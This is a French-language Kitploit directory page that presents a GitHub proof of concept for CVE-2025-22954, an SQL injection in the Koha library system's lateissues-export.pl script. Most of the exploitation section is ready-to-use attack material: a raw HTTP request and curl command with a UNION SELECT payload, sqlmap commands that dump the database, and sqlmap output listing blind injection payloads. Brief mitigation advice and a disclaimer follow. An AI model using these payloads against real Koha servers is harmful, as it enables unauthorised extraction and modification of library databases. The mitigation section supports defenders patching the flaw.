Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-22954 — Koha CVE-2025-22954: SQL Injection in lateissues-export.pl | Kitploit
Outils/GitHubGitHub/randomrobbiebf/cve-2025-22954
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationDatabase Security
GitHubrandomrobbiebf/cve-2025-22954

CVE-2025-22954

Koha CVE-2025-22954: SQL Injection in lateissues-export.pl

Voir le dépôt
1il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Koha CVE-2025-22954 : Injection SQL dans lateissues-export.pl

Vue d'ensemble

Ce dépôt contient une preuve de concept pour CVE-2025-22954, une vulnérabilité d'injection SQL de sévérité critique (CVSS 10.0) dans Koha antérieur à la version 24.11.02. La vulnérabilité existe dans la fonction GetLateOrMissingIssues dans C4/Serials.pm qui est appelée par le script /serials/lateissues-export.pl. La vulnérabilité peut être exploitée via les paramètres supplierid ou serialid.

ID CVECVE-2025-22954
CVSS v310.0 (Critique)
Score EPSS0,03% (Top 5,26%)
Publié12 mars 2025
Corrigé dansKoha 24.11.02
Référence du bugKoha Bug #38829
Notes de versionSortie de Koha 24.11.02

Détails de la vulnérabilité

La vulnérabilité provient d'un traitement non sécurisé des entrées utilisateur dans les paramètres supplierid et serialid du script lateissues-export.pl qui sont transmis à la fonction GetLateOrMissingIssues dans C4/Serials.pm. La fonction ne nettoie ni ne paramètre correctement ces entrées avant de les utiliser dans des requêtes SQL, permettant des attaques par injection SQL.

Code affecté

Le script vulnérable (lateissues-export.pl) contient le code suivant :

root@kitploit:~
my $supplierid = $query->param('supplierid');
my @serialids = $query->multi_param('serialid');

# ...

for my $serialid ( @serialids ) {
    my @missingissues = GetLateOrMissingIssues($supplierid, $serialid);
    # ...
    
    # update claim date to let one know they have looked at this missing item
    updateClaim($serialid);
}

La fonction GetLateOrMissingIssues dans C4/Serials.pm contient probablement une construction de requête SQL vulnérable où les paramètres $supplierid et $serialid sont directement concaténés dans des instructions SQL sans paramétrage approprié.

Preuve de concept

Cette preuve de concept montre comment un utilisateur authentifié ayant accès au module des périodiques peut exploiter cette vulnérabilité pour extraire des données sensibles de la base de données Koha ou potentiellement obtenir un accès non autorisé au système de base de données sous-jacent.

Prérequis

  • Une instance Koha vulnérable (antérieure à 24.11.02)
  • Accès au script lateissues-export.pl

Méthode d'exploitation

Méthode par requête HTTP

La requête HTTP brute suivante peut être utilisée pour exploiter la vulnérabilité :

root@kitploit:~
GET /cgi-bin/koha/serials/lateissues-export.pl?supplierid=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -&serialid=1&csv_profile=1 HTTP/1.1
Host: koha.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Connection: close

Avec curl

root@kitploit:~
curl -i -X GET "https://koha.example.com/cgi-bin/koha/serials/lateissues-export.pl?supplierid=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -&serialid=1&csv_profile=1" 

Avec SQLMap

SQLMap peut être utilisé pour automatiser l'exploitation de cette vulnérabilité. Tout d'abord, capturez une requête vers le point d'accès vulnérable avec des cookies d'authentification valides, puis utilisez SQLMap pour exploiter le point d'injection.

root@kitploit:~
# Save a request with valid cookies to request.txt
sqlmap -r request.txt -p supplierid --dbms=mysql --level=5 --risk=3 

Exemple de fichier request.txt :

root@kitploit:~
GET /cgi-bin/koha/serials/lateissues-export.pl?supplierid=1&serialid=1&csv_profile=1 HTTP/1.1
Host: koha.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Connection: close

Vous pouvez également exploiter la vulnérabilité directement avec SQLMap :

root@kitploit:~
sqlmap -u "https://koha.example.com/cgi-bin/koha/serials/lateissues-export.pl?supplierid=1&serialid=1&csv_profile=1" \
  -p supplierid \
  --dbms=mysql \
  --dump
root@kitploit:~
GET parameter 'supplierid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 59 HTTP(s) requests:
---
Parameter: supplierid (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: supplierid=(SELECT (CASE WHEN (1285=1285) THEN 1 ELSE (SELECT 7101 UNION SELECT 6384) END))&serialid=5&serialid=7&csv_profile=1

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: supplierid=1 AND (SELECT 5817 FROM (SELECT(SLEEP(5)))eSKk)&serialid=5&serialid=7&csv_profile=1
---
[10:46:38] [INFO] the back-end DBMS is MySQL
[10:46:38] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
web server operating system: Linux Ubuntu 19.10 or 20.04 or 20.10 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[10:46:40] [WARNING] HTTP error codes detected during run:

Impact

Cette vulnérabilité permet à un attaquant authentifié de :

  1. Extraire des informations sensibles de la base de données
  2. Modifier des données dans la base de données
  3. Exécuter potentiellement des commandes arbitraires sur le serveur de base de données
  4. Potentiellement accéder au système d'exploitation sous-jacent

Atténuation

Mettez à jour vers Koha version 24.11.02 ou ultérieure qui inclut un correctif pour cette vulnérabilité.

Si une mise à jour immédiate n'est pas possible, envisagez de mettre en œuvre les atténuations temporaires suivantes :

  1. Restreindre l'accès au script /serials/lateissues-export.pl aux seules adresses IP de confiance
  2. Mettre en place une règle de pare-feu applicatif (WAF) pour bloquer les requêtes potentiellement malveillantes vers ce point d'accès
  3. Modifier le fichier C4/Serials.pm pour paramétrer correctement les requêtes SQL dans la fonction GetLateOrMissingIssues

Considérations éthiques

Cette preuve de concept est fournie à des fins éducatives et défensives uniquement. Obtenez toujours une autorisation appropriée avant de tester un système pour des vulnérabilités.

Avertissement

L'auteur n'est pas responsable de toute utilisation abusive de ces informations. Cette preuve de concept ne doit être utilisée que sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de test.

Télécharger l’outil